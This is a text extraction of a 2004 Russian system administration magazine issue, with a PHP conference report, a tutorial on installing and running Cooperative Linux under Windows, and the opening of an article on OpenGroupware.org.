023 Системный Администратор 10 2004

Page 1

№10(23) октябрь 2004 подписной индекс 81655 www.samag.ru

Знакомство с Cooperative Linux Идеальный карманный компьютер для системного администратора Bluetooth + Linux Настройка squid для использования авторизации из домена Windows 2000 Установка и настройка W2K Server Четырехузловой кластер с балансировкой нагрузки без внешнего массива данных

№10(23) октябрь 2004

PostgreSQL: функции и триггеры Внутренний веб-сервер STAT – совсем другая IDS Поиск троянов вручную



оглавление PostgreSQL: функции и триггеры

РЕПОРТАЖ Итоги III международной конференции «Современные технологии эффективной разработки веб-приложений с использованием PHP» Дмитрий Горяинов

4

dg@webclub.ru

Сергей Супрунов

42

amsand@rambler.ru

Внутренний веб-сервер Сергей Супрунов

48

amsand@rambler.ru

АДМИНИСТРИРОВАНИЕ

СЕТИ

Знакомство с Cooperative Linux

На пути повышения надёжности и скорости: Linux bonding

Михаил Платов

6

platov@cs.vsu.ru

Павел Закляков

54

amdk7@mail.ru

OpenGroupware.org, или Последний кирпич в стене Сергей Яремчук grinder@ua.fm

STAT – совсем другая IDS 12

Сергей Яремчук

60

grinder@ua.fm

Hakin9 Live

Идеальный карманный компьютер для системного администратора Часть 1

Сергей Яремчук

66

grinder@ua.fm

Андрей Маркелов andrew@markelov.net

17

Bluetooth + Linux, или Синий зуб на службе системного администратора Андрей Бешков tigrisha@sysadmins.ru

shelton@granch.ru

Денис Батранков

Восстановление данных на NTFS-разделах Часть 2 30

Крис Касперски

Роман Марков stepan-razin@newmail.ru

stranger03@mail.ru

88

36 BUGTRAQ

№10(23), октябрь 2004

80

kk@sendmail.ru

Установка и настройка W2K Server

Четырехузловой кластер с балансировкой нагрузки без внешнего массива данных Геннадий Дмитриев

68

denis@gov.ru

20 ОБРАЗОВАНИЕ

Настройка Squid для использования авторизации из домена Windows 2000 Рашид Ачилов

Поиск троянов вручную

41, 59, 78 1




репортаж

ИТОГИ ТРЕТЬЕЙ МЕЖДУНАРОДНОЙ КОНФЕРЕНЦИИ «СОВРЕМЕННЫЕ ТЕХНОЛОГИИ ЭФФЕКТИВНОЙ РАЗРАБОТКИ ВЕБ-ПРИЛОЖЕНИЙ С ИСПОЛЬЗОВАНИЕМ PHP» 23-24 сентября в Москве, в помещении Дворца культуры МАИ, прошла третья международная конференция «Современные технологии эффективной разработки веб-приложений с использованием PHP». Конференция была организована сообществом веб-разработчиков PHPClub (http://php club.ru) и интернет-агентством WebProfy (http://webprofy.ru). PHP представляет собой свободно распространяемую среду программирования с открытым API и возможностями модульного расширения, изначально созданную для обработки HTML-форм и создания веб-страниц. Вместе с тем в основе технологии PHP лежит ядро (или движок), разрабатываемое и поддерживаемое компанией Zend (http://www.zend.com). Эти две особенности делают ситуацию с PHP довольно уникальной, развитие технологии представляет собой совместное творчество сообщества независимых разработчиков и профессиональной целенаправленной работы программистов Zend по совершенствованию и улучшению базового движка. Долгое время за PHP была закреплена слава языка вебсценариев для системных администраторов. Изначально задуманный как простой инструмент для обработки HTMLформ и создания веб-страниц язык представляет собой весьма дружественную среду разработки для Web. PHP – язык-полиглот. Он дает возможность общаться с большим количеством баз данных, упрощает анализ данных браузера, может выполнять HTTP-запросы и обладает множеством встроенных средств решения практических задач. Прошедшая конференция еще раз подтвердила реноме PHP как технологии, своевременно и гибко реагирующей на проблемы сегодняшнего дня. Совместный доклад Александра Календарева (независимый разработчик, кандидат экономических наук, Россия) и Вадима Крючкова (системный администратор, веб-программист компании InForce, Москва, Россия) «Интеграция информационной системы предприятия (на базе 1С) c веб-сайтом и PHP-приложениями» касался очень актуальной области современных веб-систем – взаимодействия веб-приложений и прикладного программного обеспечения. Готовое решение, поставляемое фирмой 1С в стандартной комплектации, ориентировано на использование и интеграцию учетной системы с веб-сервером MS IIS компании Microsoft. Докладчики привели альтернативное решение, рассмотрев возможности 1С для организации обмена данными, вопросы отправки, получения и защиты данных в системе, где веб-сайт (витрина) и учетная система представляют собой независимые приложения. Аспектам коммерческого применения веб-проектов был посвящен доклад руководителя проектов компании RoyalHolding Евгения Бондарева (Киев, Украина): «Платежные системы, взгляд изнутри». Были затронуты вопросы виртуальных и реальных денег, типовые способы взаимо-

4

действия с платежными системами и конкретные примеры. В рамках доклада были рассмотрены как западные платежные системы, так и их аналоги в России и на Украине. Не остался в стороне и вопрос выбора того или иного решения с точки зрения доступности, возможности проведения платежа и фактора доверия со стороны конечного посетителя веб-сайта. Приступая к разработке системы с возможностью осуществления веб-платежей, не следует забывать о том, что проведение банковских операций между банками разных стран может оказаться более сложным, чем посещение вебсайта. В этом смысле виртуальные деньги таких систем, как WebMoney, остаются пока более доступным средством проведения платежей в Интернете. Кроме того, фактор доверия случайного посетителя к вашему веб-сайту не настолько высок, чтобы однозначно предлагать ему ввести реквизиты кредитной карты. Современные системы электронных платежей предоставляют веб-разработчикам не только возможность прямого обращения к шлюзу, но и возможность переброски клиента на специальный интерфейс (Merchant-панель) на стороне сервера самой платежной системы. В этом случае плательщик однозначно видит, что данные идут только платежной системе. Фактор доверия при такой схеме платежей выше. Вместе с тем на конференции нельзя было обойти стороной и традиционные аспекты веб-программирования. Существует целый класс задач, в той или иной форме возникающих практически перед любым веб-разработчиком. Доклад Алексея Рыбака по теме «Поиск на сайте средствами php, mysql и ispell: выбор между возможностями, качеством и производительностью» был одной из изюминок конференции, интерес к которой со стороны аудитории можно было легко предсказать заранее. Участникам конференции был представлен каркас поисковой системы с использованием словарных индексов, хранением и поиском объектов морфологии, правил словообразования и поиском словоформ. В качестве сферы применения рассматривались малые и средние проекты. Алексей Рыбак сделал упор на вопросах подключения внешних словарей к базе данных, рассмотрел стратегии поиска по оригинальной и нормализованной форме, способы повышения производительности такой системы. В докладе были затронуты некоторые наиболее популярные бесплатные (условно-бесплатные) решения, такие как MnoGoSearch (http://mnogosearch.ru), Ht://Dig (http:// htdig.org), RiSearch (http://www.risearch.org) и промышленные решения, такие как Яndex.Server (http://company. yandex.ru/technology/products/yandex-server.xml) и RCO от «Гарант-Парк Интернет» (http://www.rco.ru). Дмитрий Котеров, главный программист Host-ing.Ru (Москва, Россия) и автор книги «Самоучитель PHP4», затронул


репортаж еще одну актуальную тему разработки веб-приложений – безопасность и защиту от злоумышленников. В докладе «Вопросы безопасности веб-программирования» были рассмотрены пути противодействия традиционной уязвимости PHPприложений к SQL-Injection (взлом базы данных за счет изначальной слабости в архитектуре API для работы с MySQL). В качестве решения был предложен метод placeholder, создающий дополнительный «защитный слой» между запросами и API. Подобную идеологию поддерживает и новое расширение PHP5 mysqli, предназначенное для работы с MySQL версии 4 и старше. Дмитрий Котеров затронул также темы кражи идентификаторов сеанса, проблему неявных включений файлов и возможных путей противодействия DoS-атакам (антифлудинг, ограничение ресурсов). Технология PHP крайне динамична и не стоит на месте. Открытость и возможности расширения предоставляют конечному разработчику приложений механизм для создания и встраивания в систему собственных модулей. Этому был посвящен доклад Антона Довгаля «Разработка модулей (расширений) PHP на примере memcache». Модуль memcache предоставляет разработчику механизмы кэширования запросов и данных и используется в таком популярном сетевом сервисе, ставшим целым явлением, как «Живой Журнал» (http://www.livejournal.com). Язык PHP получил очень сильную поддержку и обрел профессиональное ядро благодаря усилиям и участию в его развитии компании Zend. Сейчас корпорация Zend готова совершить еще одну маленькую революцию – внедрить новую версию ядра (Zend Engine 2) и, соответственно, 5-ую версию языка PHP, реально ориентированную на технологию объектно-ориентированного программирования. Новым особенностям и возможностям, предлагаемым разработчиками ядра PHP своим пользователям, был посвящен доклад Ивана Устюжанина (системный администратор еженедельника «Московский комсомолец» в Курске, Россия) и Константина Барышникова (системный администратор и программист, ведущий ресурса http://www.php5.ru) «Нет авралу! Плавный переход на PHP5». В применении ООП сейчас уже нет ничего революционного, эта идеология давно стала привычной и естественной в современных языках программирования. Но предлагаемый переход от предоставления средств написания программ в стиле ООП к ре-

альной поддержке этого способа программирования в рамках интерпретируемого языка – это действительно нечто! Каковы же перспективы использования новой версии PHP? С точки зрения массовой веб-разработки, та или иная технология или новая версия становятся реальностью лишь с ее внедрением и поддержкой со стороны провайдеров хостинговых услуг. По заявлению некоторых российских провайдеров, выступивших спонсорами конференции, хостинг с использованием PHP5 уже сейчас становится реальностью. В рамках конференции прошли два мастер-класса. Первый был посвящен особенностям работы с сервером баз данных PostgreSQL (Алексей Борзов, независимый разработчик, Москва, Россия), второй – использованию идеологии и методик экстремального программирования в разработке вебпроектов (Александр Смирнов, основатель клуба разработчиков PHP – PHPClub.ru, Москва, Россия). Увы, временные рамки вынудили организаторов конференции проводить мастер-классы параллельно некоторым докладам. Как уже отмечалось, организаторами конференции выступили сообщество веб-разработчиков PHPClub и интернет-агентство WebProfy. Подобный союз независимой общественной организации и коммерческой компании довольно символичен для PHP. Уровень проведения конференции оставил очень благоприятное впечатление. Организаторам удалось обеспечить участников конференции не только печатными материалами и питанием, но и такой важной «мелочью», как возможность в любой момент выпить чашку чая или кофе. Главным успехом конференции можно назвать привлечение к участию в ней профессиональных веб-разработчиков, разделенных географическим положением, работающих и проживающих в различных странах СНГ и Прибалтики. Живое общение в кулуарах, возникающее вокруг когото из докладчиков или стихийно, само по себе не прекращалось ни на минуту и было весьма интересно и ценно. Вне всякого сомнения усилия организаторов заслуживают одобрения и благодарности как за подбор и освещение поднятых на конференции вопросов, так и за предоставленную участникам возможность неформального обмена мнениями и идеями в профессиональной среде.

Дмитрий Горяинов

Ôîòî ïðåäîñòàâëåíî îðãàíèçàòîðàìè êîíôåðåíöèè

№10(23), октябрь 2004

5


администрирование

ЗНАКОМСТВО С COOPERATIVE LINUX

МИХАИЛ ПЛАТОВ Исторический экскурс 25-27 января 2004 года новостные ленты большинства информационных изданий, так или иначе посвященных компьютерной тематике, пестрили такими сообщениями: «Linux теперь можно запускать в Windows», «Linux и Windows без перезагрузок», «Революционное изобретение 21-летнего гения» и т. д. Мир узнал о новом проекте – Cooperative Linux (сокращенно – coLinux). В анонсах сообщалось о том, что теперь появился еще один способ «подружить» две самые популярные операционные системы – Linux и Windows. Для достижения поставленной цели разработчики использовали довольно интересное решение – запуск Linux-ядра как отдельного процесса Windows. В качестве иллюстрации работы системы показывались скриншоты японской версии (спасибо японским спонсорам) широко известного дистрибутива Knoppix:

Однако радость от этого во многом знаменательного события несколько омрачалась тем, что попробовать coLinux в деле реально смогли немногие – проект был доступен только в виде исходного кода, собрать который было отнюдь не просто. Впрочем, такая ситуация не могла длиться вечно, и вскоре появилась первая бинарная версия coLinux. У кого-то она запустилась, у кого-то нет, но работа продолжалась и проект развивался. Постепенно coLinux освободился от связей с Microsoft DDK и cygwin, избавился от многих ошибок, обзавелся новой функциональнос-

6

тью (http://www.colinux.org/?section=status). Последняя доступная на момент написания статьи stable-версия coLinux – 0.6.1, именно о ней и пойдет речь в данной статье. Но прежде чем приступить к рассмотрению самого coLinux, несколько слов о том, что это такое и для чего это нужно.

Зачем нужен coLinux Условно можно выделить несколько групп пользователей, для которых coLinux представляет практический интерес. В первую очередь это разработчики, принимающие участие в создании кроссплатформенных приложений, системные администраторы, интересующиеся возможностями Linux-систем, преподаватели учебных заведений, и, конечно, простые пользователи, желающие познакомиться с Linux поближе. Другими словами, coLinux в первую очередь интересен тем людям, которые в своей повседневной работе одновременно используют две операционные системы – Linux и Windows. Минуточку, но ведь эта проблема не нова! Ведь есть уже vmWare, VirtualPC, bochs, xen, wine, cygwin и другие проекты, решающие проблему организации одновременной работы в нескольких ОС. Чем же примечателен coLinux? Что выделяет его среди конкурентов? Для того чтобы ответить на эти вопросы, давайте более пристально посмотрим на то, как сейчас решается проблема организации работы в нескольких ОС: ! Виртуальные машины. Типичные представители – vmWare, VirtualPC, bochs, xen. В этом случае вторая ОС, называемая гостевой, запускается в так называемой виртуальной машине. У этой машины есть свое «виртуальное» оборудование, BIOS и, конечно, своя операционная система. Отличительной особенностью является то, что операционная система и ее программы практически и не догадываются о том, что они работают в виртуальной машине. Для них все происходит так же, как и при работе на обычном компьютере. Преимущества этого подхода очевидны: подавляющее большинство программ без проблем будут работать в виртуальной машине без какихлибо изменений в их исходном коде. Платой же за такую «универсальность» является скорость, которая, как не трудно догадаться, будет ниже, чем при работе этой же системы на реальном оборудовании.


администрирование ! Эмуляция на уровне API (wine, cygwin, mingw). Идея это-

! Ethernet-драйверы. Как не трудно догадаться из назва-

го подхода состоит в том, чтобы запустить уже существующее Linux/Windows-приложение, эмулируя API «чужеродной» ОС. Такой подход позволяет добиться большей производительности (по сравнению с виртуальной машиной), однако никто не сможет дать гарантий относительно того, как будет (если вообще будет) работать ваше любимое приложение в wine или cygwin.

ния, эти драйверы используются для организации взаимодействия нашей Linux-системы с внешним миром. Так, с coLinux можно использовать либо виртуальный TAPдрайвер, либо библиотеку WinPCap. ! Драйверы клавиатуры и консоли используются для организации взаимодействия с Linux в привычном для многих пользователей режиме – через консоль.

Теперь осталось определить, к чему же относится coLinux, для этого давайте более пристально посмотрим на то, как он устроен.

Итак, судя по приведенной выше классификации, coLinux скорее относится к виртуальным машинам, чем к API-эмуляторам. Ведь фактически он создает некую виртуальную машину. Кроме того, у coLinux есть и определенные черты, выгодно выделяющие его среди возможных конкурентов. Так, он не эмулирует виртуальную машину в обычном для нас понимании. Он не эмулирует процессор, BIOS, память и другие устройства. При помощи специальных драйверов, работающих на нулевом кольце защиты ОС Windows (ring 0), coLinux дает возможность ядру Linux работать с имеющимся в Windows оборудованием. Теоретически такой подход должен обеспечить большее по сравнению с обычными виртуальными машинами быстродействие. Платой же за это потенциальное увеличение скорости является отказ от универсальности. Чтобы linux-ядро стало coLinux-совместимым, к нему применяется специальный патч, позволяющий работать ядру в окружении, создаваемом демоном coLinux (работа с Windows-оборудованием, управление памятью выделяемой демону и т. д.). Таким образом, выполнение в виртуальной машине coLinux чего-либо отличного от ядра Linux становится либо затруднительным (для ОС с открытым исходным кодом), либо вообще невозможным (для ОС с закрытым исходным кодом).

CoLinux, взгляд изнутри CoLinux представляет из себя набор нескольких модулей, работающих на разных уровнях операционных систем Windows и Linux. Условно в составе coLinux можно выделить следующие компоненты: драйвер ОС Windows, отвечающий за предоставление ядру Linux доступа к процессору и памяти, несколько модифицированное ядро ОС Linux (для того чтобы работать с Windows-драйверами coLinux), драйверы Linux и Windows, отвечающие за организацию взаимодействия Linux с «внешним миром» (Ethernet, console), драйверы блочных устройств для отображения устройств Windows на блочные устройства coLinux. За непосредственный запуск coLinux отвечает специальная программа – coLinux-daemon. Используя Windows-драйверы, coLinux-daemon формирует окружение, в котором начинает выполняться ядро ОС Linux. Фактически coLinuxdaemon является аналогом lilo и grub, выступая в coLinux в качестве загрузчика ядра.

Установка и запуск

Давайте более подробно остановимся на задачах, решаемых основными компонентами coLinux: ! Демон coLinux. Один из ключевых компонентов системы. Фактически это загрузчик, который, объединяя все остальные компоненты coLinux, создает окружение, в котором исполняется ядро Linux. ! Драйвер блочных устройств. Главной задачей этого драйвера является предоставление доступа к устройствам, имеющимся в ОС Windows, как к блочным. В coLinux этот драйвер используется для задания отображения устройств или файлов Windows на блочные устройства coLinux, которые в дальнейшем могут быть смонтированы при помощи стандартной утилиты mount. На данный момент coLinux поддерживает определение отображений для 32 устройств. Отдельно отметим тот факт, что отображать можно не только отдельные файлы, содержащие образы linux-файловых систем, но и реальные разделы жестких дисков. Это позволяет использовать coLinux для запуска в Windows уже существующих инсталляций Linux-систем.

№10(23), октябрь 2004

Установка coLinux очень проста. Все, что нам нужно, это загрузить с сайта http://www.colinux.org инсталлятор coLinux (coLinux-0.6.1.exe) и запустить его. В процессе установки выберем все возможные компоненты:

В качестве пути установки выберем «C:\coLinux»:

7


администрирование Первый файл представляет собой сжатый образ rootфайловой системы. Для его распаковки можно воспользоваться любым архиватором, понимающим формат bz2, например, 7zip (http://www.7zip.org). Для простоты распакуем файл в c:\coLinux\Gentoo-i586-ext3-2g-deluxe. Второй файл является не чем иным, как конфигурационным файлом coLinux. Синтаксис его достаточно прост. В стандартном для XML формате в нем определяются следующие настройки: ! Отображение фалов (или разделов) Windows на блочные устройства coLinux. ! Путь к файлу ядра Linux. ! Параметры, передаваемые ядру. ! Количество ОЗУ, выделяемого coLinux. ! Настройки сетевого интерфейса. В принципе здесь можно выбрать любой каталог, однако тогда нужно будет учесть это при редактировании конфигурационного файла. Далее инсталлятор предложит нам скачать библиотеку WinPCap, необходимую для организации работы coLinux непосредственно с сетевой картой компьютера (bridged-режим). В следующем диалоге инсталлятора мы можем автоматически скачать образ root-файловой системы (Gentoo, Debian или Fedora Core 1 (скачивается вручную c сайта coLinux)). Образы отличаются размером и, соответственно, количеством уже установленных пакетов. В принципе здесь можно выбрать образ на основе любого из вышеперечисленных дистрибутивов или использовать раздел от уже установленной ОС Linux, однако для простоты и конкретности изложения будем полагать, что в процессе установки было принято решение в пользу образа Gentoo-deluxe.

Чтобы не «портить» первоначальный файл, скопируем его с именем gentoo.xml и внесем в него некоторые изменения. Для начала укажем местоположение root-файловой системы: <block_device index="0" path="\DosDevices\c:\coLinux\ ↵ gentoo-i586-ext3-2g-deluxe" enabled="true" />

Далее подправим настройки сетевого интерфейса. Для определенности будем считать, что мы используем вариант с TAP. Тогда строка конфигурации <network> будет иметь следующий вид: <network index="0" type="tap">

Кроме того, для нормальной работы нам, скорее всего, понадобится swap-раздел. По умолчанию он не создается инсталлятором, поэтому его придется скачать, распаковать и подключить вручную. Для этого с сайта http:// gniarf.nerim.net/colinux/swap загрузим сжатый образ swapфайла нужного размера, распакуем его в c:\coLinux\ swap_256Mb и добавим в файл конфигурации следующую строчку: <block_device index="1" path="\DosDevices\c:\coLinux\ ↵ swap_256Mb"

Итак, с настройкой демона coLinux мы закончили, и теперь можно смело перейти к настройке сетевой части в Windows. После установки coLinux в сетевых подключениях у нас появился еще один сетевой адаптер:

После нажатия кнопки «Install» на вашем компьютере будут установлены все необходимые драйверы (все, кроме WinPCap, который нужно устанавливать «вручную») и ядро. Кроме того, в папку установки инсталлятором будет загружен образ выбранной root-файловой системы. После окончания установки в папке c:\coLinux появится несколько файлов. Нам в первую очередь понадобятся следующие: ! Gentoo-i586-ext3-2g-deluxe.bz2 ! Default.coLinux.xml

8

Именно через него у нас и будет работать Linux. Для доступа к Интернету воспользуемся стандартным (начиная с Windows 2000) механизмом Internet Connection Sharing (ICS). (Дополнительную информацию об ICS можно найти в справке Windows.) Активизируется он до неприличия просто – открываем свойства первого сетевого подключения по сети и ставим «галочки» в разделе «общий доступ подключения к Интернету»:


администрирование и, наконец, включим его: # swapon –a

Если все было сделано правильно, то после команды # swapon –s на экране мы увидим следующее: # swapon –s Filename Type Size Used Priority /dev/cobd1 partition 262136 0 -1

Установка и обновление программ

Теперь самое время перейти к запуску системы. Создадим и запустим cmd-файл со следующим содержимым: colinux-daemon.exe -t nt -c gentoo.xml

Входим в систему как root (без пароля) и первое, что делаем... правильно, меняем пароль с помощью программы passwd. По умолчанию Gentoo-образ использует DHCP для конфигурации сетевого интерфейса. Так как для организации соединения мы используем ISC, включающий в себя DHCP-сервер, то сразу же после загрузки coLinux у нашей linux-машины уже будет настроен IP-адрес, шлюз по умолчанию и адрес DNS-сервера. Однако если вам вдруг понадобится поменять эти настройки, то в Gentoo это делается путем редактирования следующих конфигурационных файлов: /etc/conf.d/net и /etc/resolv.conf. Итак, двигаемся дальше. Проверяем файл /etc/fstab. Root-файловая система в нем прописана правильно (указывает на /dev/cobd0), а вот swap-файл у нас, скорее всего, будет не подключен. Исправим это с помощью пока единственного доступного нам в данный момент редактора nano:

Итак, теперь у нас есть установленная и минимально настроенная система. Тем не менее, поработав в ней некоторое время, начинаешь понимать, что программ, имеющихся в стандартном образе явно не хватает. Так, даже в самом большом доступном для скачивания образе файловой системы – Gentoo-deluxe – после установки нет таких программ, как vi, mc, nslookup, telnet, links, tracert и многих других. Кроме того, лично мне также захотелось поставить sshd, samba и apache и нескольких других пакетов, необходимых для моей работы. Благо мучиться долго не пришлось, т.к. для установки и удаления программ в Gentoo Linux есть Portage – мощная система управления пакетами. Фактически она является своеобразной копией системы «портов», уже давно существующей во FreeBSD, однако в Gentoo «порты» FreeBSD называются ebuild’s. Суть их от этого, правда, не меняется. Так же, как и во FreeBSD, они содержат информацию, необходимую для сборки каждого пакета из исходных кодов. Установка программ с использованием Portage производится почти автоматически. Достаточно выполнить одну команду, и нужный пакет будет скачан, скомпилирован и установлен на вашем компьютере. Для иллюстрации работы Portage рассмотрим процесс установки пакета mc (Midnight Commander). Первое, что нам нужно сделать для после установки Gentoo, – это синхронизировать локальный репозиторий Portage с репозиторием, хранимым на сервере. Для этого выполним команду #emerge sync. После ее запуска скрипт emerge загрузит в /usr/portage список всех доступных на данный момент ebuild-скриптов. Теперь можно приступить к установке любого из пакетов, имеющегося в Portage, в том числе и mc. Для этого достаточно выполнить команду: #emerge mc

Система Portage сама загрузит и соберет все необходимые файлы с автоматическим удовлетворением всех зависимостей от других пакетов:

# nano /etc/fstab

Добавим в fstab следующую строку: /dev/cobd1 swap swap defaults 0 0

Проинициализируем swap-файл: # mkswap /dev/cobd1

№10(23), октябрь 2004

9


администрирование После завершения установки мы увидим следующее: >>> app-misc/mc-4.6.0-r8 merged. >>> Recording app-misc/mc in "world" favorites file...

Пакет был успешно установлен, запись об этом была добавлена в /var/cache/edb/world.

Подключение дополнительных устройств Время от времени у меня возникала необходимость работы с различными устройствами, с которыми я привык работать в Windows. И если с некоторыми устройствами (звуковая плата, видеокарта) работать из coLinux на данный момент нельзя, то с другими (дисковыми) очень даже можно. Для организации доступа к дисковым устройствам в coLinux используется драйвер блочных устройств. Для этого windows-устройство, которое необходимо подключить в coLinux, сначала в xml-файле отображается на одно из блочных устройств (cobd), а затем монтируется из Linux при помощи утилиты mount. Следует отметить, что при таком подключении используются не образы файловых систем (как это было для root-файловой системы и swap-файла), а реальные разделы устройств. Для получения списка всех разделов, имеющихся в Windows, а также правильных путей к ним можно воспользоваться консольной утилитой dmdiag.exe, входящей в состав Windows Resource Kit. Запустим эту утилиту. Для удобства чтения перенаправим ее вывод в файл:

# mount /dev/cobd4 /mnt/floppy

мы увидим содержимое дискеты в /mnt/floppy. При монтировании разделов напрямую нужно иметь в виду, что из linux раздел будет подключаться таким, какой он есть. Поэтому ядро должно поддерживать ту файловую систему, которая имеется на подключаемом разделе (UDF, FAT, NTFS и т. д.). Кроме того, пока раздел будет смонтирован (или открыт) в одной системе, в другой он будет недоступен.

Запуск в качестве службы Кому-то может показаться неудобным, что перед работой с coLinux нужно предварительно вручную запускать cmdфайл. Особенно это неприятно в тех случаях, когда в coLinux выполняются какие-либо сетевые сервисы (apache, samba или ftp). В таком случае удобно настроить запуск coLinux как одной из служб Windows. После должной настройки, coLinux будет автоматически запускаться во время старта Windows. Для регистрации coLinux как службы Windows необходимо выполнить следующую команду: colinux-daemon –c <ïóòü ê xml-ôàéëó>--install-service ↵ <èìÿ ñëóæáû>

После выполнения этой команды в системе появится служба coLinux с указанным именем. Для удаления службы достаточно выполнить команду:

Dmdiag.exe >>disk.out colinux-daemon --remove-service <èìÿ ñëóæáû>

В результате в текущем каталоге появится текстовый файл disk.out, содержащий полное описание всех устройств хранения, имеющихся на данный момент в распоряжении ОС Windows. С точки зрения применимости к coLinux нас прежде всего интересуют секции «Drive letter to device name» и «\Device\Harddisk». Первая секция описывает отображения физических устройств на буквы ОС Windows. Из этой секции мы можем узнать, что буква A: у нас на самом деле является устройством \Device\Floppy0:

Необходимо иметь в виду, что служба устанавливается с типом запуска «Вручную», так что, если вам необходимо, чтобы coLinux работал всегда, измените тип запуска службы на «Автоматически». Кроме того, существует удобная утилита для работы с уже установленной службой coLinux – coLinux Manager. Скачать ее можно отсюда: http://www.biermana.org/index.php?p=54. Утилита добавляет в панель задач значок coLinux:

A: \Device\Floppy0

То есть дописав в наш xml-файл следующую строку: <block_device index="4" path="\Device\Floppy0" ↵ enabled="true" />

мы отобразим дисковод 3.5” на блочное устройство coLinux cobd4. Если же мы хотим отобразить раздел жесткого диска, то на помощь нам придет секция \Device\Harddisk. Так, следующая строка отобразит третий раздел второго жесткого диска на cobd5: <block_device index="5" path="\Device\Harddisk1\ ↵ Partition2" enabled="true" />

Для USB-диска строка конфигурации может быть такой: <block_device index="6" path="\Device\Harddisk3\ ↵ DP(1)0-0+a" enabled="true" />

Итак, после запуска coLinux и выполнения команды:

10

С ее помощью можно быстро запускать и останавливать службу coLinux, открывать консоль, а также получать информацию о количестве используемых coLinux системных ресурсов.

Выводы Конечно, в целом появление такого продукта, как coLinux, не может не радовать. Ведь с его использованием можно достаточно просто, быстро и бесплатно получить нормально работающую Linux-систему, сохранив при этом возможность работы с привычными Windows-программами. Однако наряду с многочисленными плюсами (бесплатность, работа напрямую с устройствами Windows, высокая совместимость с приложениями и т. д.) есть и некоторые минусы. Так, за все время работы, около двух месяцев, Windows пару раз порадовала «синим экраном» (чего не наблюдалось в течение как минимум года до установки coLinux). Кроме того, огорчила производительность сети (субъективно складывается впечатление, что работает она достаточно мед-


администрирование ленно), а также проблемы работы с некоторыми сетевыми приложениями (NFS-сервер). Если вы захотите запустить в coLinux какое-либо X-приложение, то вам придется дополнительно установить X-сервер на Windows-машину (Cygwin-X, Mi-X, Exceed и др.). Также при 100% загрузке процессора наблюдается ощутимое замедление работы во всех виртуальных консолях coLinux. Возникает субъективное ощущение, что многозадачность в coLinux работает по меньшей мере странно. К тому же если у вас вдруг возникнет желание запустить несколько копий coLinux на одной машине, то у вас, скорее всего, ничего не получится – более чем в одном экземпляре на данный момент coLinux работать не может. Также не стоит забывать о

том, что coLinux не является эмулятором виртуальной машины, в том же смысле что и vmware. Так, используя доступную на данный момент версию, нельзя запустить еще одну копию windows, Netware или FreeBSD. Только Linux только в Windows и не более чем в одном экземпляре! Однако если все вышеперечисленные «минусы» не являются для вас критичными, то можете смело использовать coLinux. В конце концов, этот достаточно молодой продукт показал очень неплохие результаты как в производительности, так и в совместимости при запуске Linux-приложений. Кроме того, не следует забывать, что coLinux является совершенно бесплатным.

Способы организации взаимодействия (NAT vs Bridged) Итак, для Ethernet-связи с внешним миром в coLinux могут использоваться два драйвера TAP и WinPCap. На основе этих драйверов можно по-разному организовать взаимодействие Linux- и Windows-систем: ! NAT (Network Address Translation). Механизм сетевого преобразования адресов. При использовании этого механизма внутренние компьютеры подключаются к Интернету через так называемый NAT-сервер, который перехватывает все обращения со стороны внутренних машин и обращается к интернет-ресурсам от своего имени. Получив результаты запроса, он возвращает их тому клиенту, который отправлял запрос. Реализация NAT-сервера в Windows XP называется ICS. ICS представляет собой примитивный (читай «ненастраиваемый») DHCP-сервер, распределяющий между клиентами IP-адреса из подсети 192.168.0.х/24. Машина, на которой настроен ICS, выступает для остальных в качестве шлюза. ! Bridged. При использовании этого метода «вторая» ОС (в нашем случае – linux) получает доступ к внешнему соединению, непосредственно используя реальный сетевой интерфейс компьютера. В нашем случае для этого используется специальный драйвер – WinPCap. Схематично взаимодействие в режиме NAT с использованием ICS можно представить так:

При использовании этого способа никакая дополнительная конфигурация со стороны ОС Windows не требуется, достаточно просто установить драйвер WinpCap. Со стороны coLinux все стандартно – нужно задать IP-адрес (маршрутизируемый), шлюз по умолчанию и адрес DNS-сервера. Кроме того, в разделе <network> конфигурационного xmlфайла необходимо указать следующее: <network index="0" type="bridged" name="Realtek"/>

Здесь, в поле name, указывается подстрока из названия сетевого адаптера. Новые настройки сети будут применены после перезапуска coLinux. При выборе того или иного способа взаимодействия необходимо учитывать следующий момент: при работе с сетевым интерфейсом напрямую (без ICS), «гостевой ОС» понадобится дополнительный маршрутизируемый IP-адрес. Ведь фактически мы имеем схему, при которой на одной машине используется несколько различных IP-адресов. В случае же использования ICS нашей машине для связи с внешним миром достаточно одного маршрутизируемого IPадреса, уже имеющегося у компьютера. «Гостевая ОС» автоматически попадает в сеть из private subspace, а взаимодействие организуется с помощью средств ICS.

Основные команды системы Portage

При этом большая часть действий по настройке сети производится автоматически. Единственное, что нам нужно сделать, это включить ICS в настройках сети и прописать режим tap в конфигурационном файле coLinux. Все остальное за нас сделает ICS. В bridged-варианте вместо TAP-драйвера используется библиотека WinPCap, позволяющая непосредственно работать с сетевым адаптером. Схема взаимодействия имеет вид:

№10(23), октябрь 2004

Более подробную информацию по работе с системой portage можно найти по адресу: http://www.gentoo.org/doc/ ru/portage-manual.xml.

11


администрирование

OpenGroupware.org, ИЛИ ПОСЛЕДНИЙ КИРПИЧ В СТЕНЕ

СЕРГЕЙ ЯРЕМЧУК Несмотря на замечания скептиков, операционная система GNU/Linux смогла привлечь (и привлекает) на свою сторону пользователей. Но если с установками на сервере или на домашнем компьютере ситуация более или менее определенная и зависит не в последнюю очередь от подготовки и желания пользователя или администратора, то вот с применением этой системы на корпоративном уровне все не так просто, как хотелось бы. И те администраторы, которые рискнули сделать этот шаг, что скрывать, сталкиваются с проблемами. Недостаток информации, разнообразие программ, интерфейсов, плохая и путающая пользовате-

12

лей локализация, – это далеко не полный список, с чем придется столкнуться. Между тем в сообществе Open Source уже известно несколько проектов, цель которых заполнить имеющийся вакуум и заменить приложения, привычные по Windows. Система программного обеспечения коллективной работы OpenGroupware.org (OGo) призвана конкурировать с такими известными продуктами, как Microsoft Exchange, IBM Lotus Domino и Novell GroupWise. Проект не возник на ровном месте, основой послужил код одной из самых ранних таких разработок под GNU/Linux – Skyrix 4.1 Groupware


